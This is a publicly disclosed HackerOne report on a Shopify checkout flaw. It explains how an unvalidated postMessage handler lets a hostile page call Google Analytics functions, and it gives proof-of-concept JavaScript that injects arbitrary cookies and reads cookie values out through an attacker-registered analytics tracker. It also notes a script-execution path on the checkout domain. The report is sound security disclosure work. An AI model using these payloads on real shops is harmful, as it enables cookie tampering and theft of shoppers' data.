HexBrain

Shopify · Report #1081167

Read/Write arbitrary (non-HttpOnly) cookies on checkout pages via GoogleAnalyticsAdditionalScripts postMessage handler

Validstatus
mediumseverity
$1,600bounty
17upvotes
1 Dec 2022disclosed

How it was found

Background

Shopify shops can be configured with a Google Analytics integration within the admin settings for a shop (/admin/online_store/preferences). This is a deeper integration than simply including analytics.js via a liquid template, for example ecommerce tracking can be enabled. Within this functionality "Additional Google Analytics JavaScript" can be specified which can reference the (global) ga object, ex:

ga('linker:autoLink', ['bored.engineer']);

During checkout (of a cart), an edge-case occurs: Some functionality is hosted on checkout.shopify.com (such as address/payment forms) that the shop owner may wish to fire Google Analytics events for. To resolve this, a postMessage based proxy is configured where the checkout.shopify.com pages execute the "Additional Google Analytics JavaScript" and any calls to the ga function (really an event queue) are pushed to the primary shop domain to be fired.

Summary

The postMessage handler on the shop domain does not validate the event.origin before processing events. This can allow a malicious webpage to send messages which eventually result in function calls on the ga object. It is then possible to write arbitrary cookies values (via document.cookie injection) which can often lead to other security concerns. Additionally, it is possible to register an additional (attacker controlled) GA tracker, then leverage the linkid plugin to read any cookie value. This is only exploitable on shops that have a configured Google Analytics integration (not default, but common).

Vulnerability

The vulnerability is pretty straight-forward, exploitation is the more difficult part.

// From checkout-b0ace6cd81eb816d383ce78462bdcd5cfc3cfef0055b9ff774fd9de732b3d9d2.js
function r(e) {
  "analytics" === e.data.type && ("undefined" == typeof n.calls && (n.calls = []),
  n.calls = n.calls.concat(e.data.calls),
  document.body.dispatchEvent(new CustomEvent("GoogleAnalyticsEvent")))
}
// [snip]
window.addEventListener("message", r)
// [snip]
[{
    key: "executeAdditionalScripts",
    value: function n() {
        var e = t.calls;
        void 0 !== e && (e.forEach(function(e) {
            var t;
            (t = window).ga.apply(t, C(e))
        }),
        t.calls = [])
    }
}]
// From checkout HTML page
document.body.addEventListener("GoogleAnalyticsEvent", function() {
  window.GoogleAnalyticsAdditionalScripts.executeAdditionalScripts()
});

The vulnerability can be demonstrated as easily as sending an event like this:

var win = window.open("https://bored-engineering-whitehat-2.myshopify.com/20276739/checkouts/0f446f1d92e2d55bb576273ebb3fc89c")
setTimeout(function() {
  win.frames[0].postMessage({
    "type": "analytics",
    "calls": [
      ['send', 'pageview']
    ]
  }, "*")
}, 2000)

Which will trigger a pageview event (in the network tab): {F1163231}

Google Analytics APIs

We now have a primitive for executing any function with any arugments on the ga object. I spent a while trying to turn this into XSS, I'm reasonably confident it is not possible.

Plugin Loading (dead-end, mostly)

Google Analytics supports plugins via a "require" command, ex:

ga('require', 'linkid');

This also supports custom plugins via a "provide" command:

function MyPlugin(tracker, options) {
  // ...
}
ga('provide', 'myplugin', MyPlugin);

While this seems like an easy path to XSS (register "eval" as a plugin, then call it), we are limited by the structured clone algorithm which does not allow functions to be serialized. Attempting to provide a string such as "eval" will not be allowed by GA as it checks the type of the input ensure it is a function:

var ea = function(a) {
  return "function" == typeof a
}
// [snip]
a = a[2];
// [snip]
if (this.g && (!qa(b) || "" == b || !ea(a)))
  throw "abort";

However, this is still useful as we can load additional plugins from Google as long as they are in a pre-defined allowlist:

Zd = {
  ec: 45,
  ecommerce: 46,
  linkid: 47
};
// [snip]
y = function(a, b, c, d, e) {
  if (!ea(Yd.get(b)) && !$d.get(b)) {
     Zd.hasOwnProperty(b) && J(Zd[b]);

Registering an additional tracker

One of the problems that comes with using or abusing any of the Google Analytics functions is the registered tracker is not attacker controlled. Fortunately, GA allows registering multiple trackers via the "create" method, ex:

ga("create", {
	"name": "pwn",
	"trackingId": "UA-44361710-4"
})
ga("pwn.send", "pageview")

This will allow any exploits that require to exfiltrating data via Google Analytics.

Setting cookie values

Leveraging the create method, it is possible to set arbitrary cookie values. This is possible because Google Analytics allows customization in the name of the cookie used (_ga by default) via the cookieName attribute, ex:

ga("create", {
	"name": "pwn",
	"trackingId": "UA-44361710-4",
	"cookieName": "_custom_ga"
})

Internally, this is implemented via string concatenation into a document.cookie call, manually prettified below:

zc = function(cookieName, cookieValue, cookiePath, cookieDomain, trackingId, cookieExpire, cookieFlags) {
	// Check if the user is opt'd out, bail early
    optOut = userIsOptedOut(trackingId) ? false : /(^|\.)doubleclick\.net$/i.test(document.location.hostname) || "/" == cookiePath && /^(www\.)?google(\.com?)?(\.[a-z]{2})?$/.test(cookieDomain) ? false : true;
    if (!optOut)
        return false;
    // Truncate the value past 1200 characters
    cookieValue && 1200 < cookieValue.length && (cookieValue = cookieValue.substring(0, 1200));
    // Build the cookie name
    cookie = cookieName + "=" + cookieValue + "; path=" + cookiePath + "; ";
    // If expiration was specified, add "expires" flag
    cookieExpire && (cookiePath += "expires=" + (new Date((new Date).getTime() + cookieExpire)).toGMTString() + "; ");
    // If cookieDomain set, add "domain" flag
    cookieDomain && "none" !== cookieDomain && (cookiePath += "domain=" + cookieDomain + ";");
    // Add any additional cookieFlags
    cookieFlags && (cookiePath += cookieFlags + ";");
    // Set the value
    changed = document.cookie;
    document.cookie = cookie;
    if (!(changed = changed != document.cookie))
        label: {
            value = getCookie(cookieName);
            for (idx = 0; idx < value.length; idx++)
                if (cookieValue == value[idx]) {
                    changed = true;
                    break label
                }
            changed = false
        }
    return changed
}

There is no escaping provided before the document.cookie = cookie call which means a malicious cookieName can be used to set a cookie, ex:

ga("create", {
	"name": "pwn",
	"trackingId": "UA-44361710-4",
	"cookieName": "injectedCookie=value;"
})
// [snip]
document.cookie = "injectedCookie=value;=GA1.3.614842418.1609270420; path=/; expires=Thu, 19 Jan 2023 03:18:11 GMT; domain=bored-engineering-whitehat-2.myshopify.com;"

Browsers will ignore unknown flags during calls to document.cookie essentially resulting in the following call:

document.cookie = "injectedCookie=value;"

This can be re-used multiple times by modifying the name of the tracker and repeating the call. (warning: speculation) for many sites this can be used in combination with other security issues (ex: setting a CSRF cookie) that implicitly trust cookie values.

Reading cookie values

Google Analytics has a optional Enhanced Link Attribution plugin which allows tracking which element was clicked leading to a page load. To accomplish this element IDs are saved in a _gali cookie which is then read by Google Analytics and emitted as part of page loads. The name of this cookie is customizable via a cookieName property, ex:

ga('require', 'linkid', {
  'cookieName': 'pwn',
});
ga('send', 'pageview');

This will result in the value of the pwn cookie (assuming it is readable) being included in the Google Analytics payloads making it (eventually) accessible from the GA console: {F1163232}

P.S. (self?) "XSS" on checkout.shopify.com

I wanted to note one other component of this (the original reason this proxy exists) is the ability to execute arbitrary JavaScript on checkout.shopify.com via the "Additional Google Analytics JavaScript" setting. This is the checkout.shopify.com/$shop_id$/sandbox/google_analytics_iframe page:

window.additionalScripts = function() {
    // JS controlled by the attacker 
};
// [snip]
{
  key: "receiveMessage",
  value: function o(e) {
    if (e.source === window.parent && "checkout_context" === e.data.type) {
      this.origin = e.origin, window.Shopify = e.data.Shopify, window.__st = e.data.__st;
      try {
        window.additionalScripts()
      } catch (t) {
        console.error("User script error: ", t)
      }
    }
  }
}
// [snip]
var t = this;
window.addEventListener("message", function(e) {
  return t.receiveMessage(e)
}, !1)

This is essentially (intentional) XSS by design on the checkout.shopify.com domain (an attacker can iframe this page and trigger the "checkout_context" postMessage). I'm not sure if this is intended functionality (it kinda has to be to make this integration work) but it results in an potential malicous actor executing JS on the same domain that handles the payment integrations (but not direct credit card numbers), address auto-complete, etc. It is possible in somewhat contrived/high user interaction scenarios (ex: the attacker opens the initial shop page) to utilize this XSS to intercept address fields or other integration details via win.frames[<index] following var win = window.open(...). Let me know if you're interested in some PoCs for that or more details.

Impact

See description for details.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original